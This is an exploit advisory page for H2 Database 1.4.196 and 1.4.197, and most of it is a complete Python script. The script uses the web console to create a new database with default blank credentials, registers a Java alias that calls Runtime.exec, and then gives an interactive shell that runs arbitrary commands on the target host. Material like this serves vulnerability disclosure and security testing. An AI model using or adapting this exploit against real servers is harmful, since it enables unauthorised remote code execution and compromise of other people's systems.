H2 Database 1.4.196 Remote Code Execution

2018.10.02
Credit: h4ckNinja
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: H2 Database 1.4.196 - Remote Code Execution # Google Dork: N/A # Date: 2018-09-24 # Exploit Author: h4ckNinja # Vendor Homepage: https://www.h2database.com/ # Software Link: http://www.h2database.com/h2-2018-03-18.zip # Version: 1.4.196 and 1.4.197 # Tested on: macOS/Linux # CVE: N/A # This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). # When the test database has a password that is unknown, it is still possible to get the execution # by creating a new database. The web console allows this by entering the name of the new database # in the connection string. When the new database is created, the default credentials of # username asaa and password aa (blank) are created. The attacker is logged in automatically. # The attached Python code, modified from 44422, demonstrates this. #!/usr/bin/env python ''' Exploit Title: Unauthenticated RCE Date: 2018/09/24 Exploit Author: h4ckNinja Vendor: http://www.h2database.com/ Version: all versions Tested on: Linux, Mac Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one. Modified from: https://www.exploit-db.com/exploits/44422/ ''' import random import string import sys import argparse import html import requests def getSession(host): url = 'http://{}'.format(host) r = requests.get(url) path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do') return '{}/{}'.format(url, path) def login(url, database): data = { 'language': 'en', 'setting': 'Generic H2 (Embedded)', 'name': 'Generic H2 (Embedded)', 'driver': 'org.h2.Driver', 'url': database, 'user': 'sa', 'password': '' } print('[*] Attempting to create database') r = requests.post(url, data=data) if '<th class="login">Login</th>' in r.text: return False print('[+] Created database and logged in') return True def prepare(url): cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;''' url = url.replace('login', 'query') print('[*] Sending stage 1') r = requests.post(url, data={'sql': cmd}) if not 'NullPointerException' in r.text: print('[+] Shell succeeded - ^c or quit to exit') return url return False def execve(url, cmd): r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)}) try: execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore') print(execHTML) except Exception as e: print('[-] Invalid command (' + str(e) + ')') if __name__ == "__main__": parser = argparse.ArgumentParser() randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) parser.add_argument('-H', '--host', dest='host', metavar='127.0.0.1:8082', help='Specify a host', required=True) parser.add_argument('-d', '--database-url', dest='database', metavar='jdbc:h2:~/emptydb-' + randString, default='jdbc:h2:~/emptydb-' + randString, help='Database URL', required=False) args = parser.parse_args() url = getSession(args.host) if login(url, args.database): success = prepare(url) if success: while True: try: cmd = input('h2-shell$ ') if 'quit' not in cmd: execve(success, cmd) else: print('[+] Shutting down') sys.exit(0) except KeyboardInterrupt: print() print('[+] Shutting down') sys.exit(0) else: print('[-] Something went wrong injecting the payload.') else: print('[-] Unable to login')


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